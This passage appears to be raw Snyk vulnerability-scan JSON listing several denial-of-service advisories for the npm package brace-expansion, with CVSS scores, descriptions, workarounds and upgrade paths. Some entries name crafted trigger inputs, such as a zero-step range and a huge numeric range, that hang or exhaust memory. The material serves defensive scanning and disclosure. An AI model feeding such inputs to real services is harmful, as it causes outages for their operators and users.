} ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, 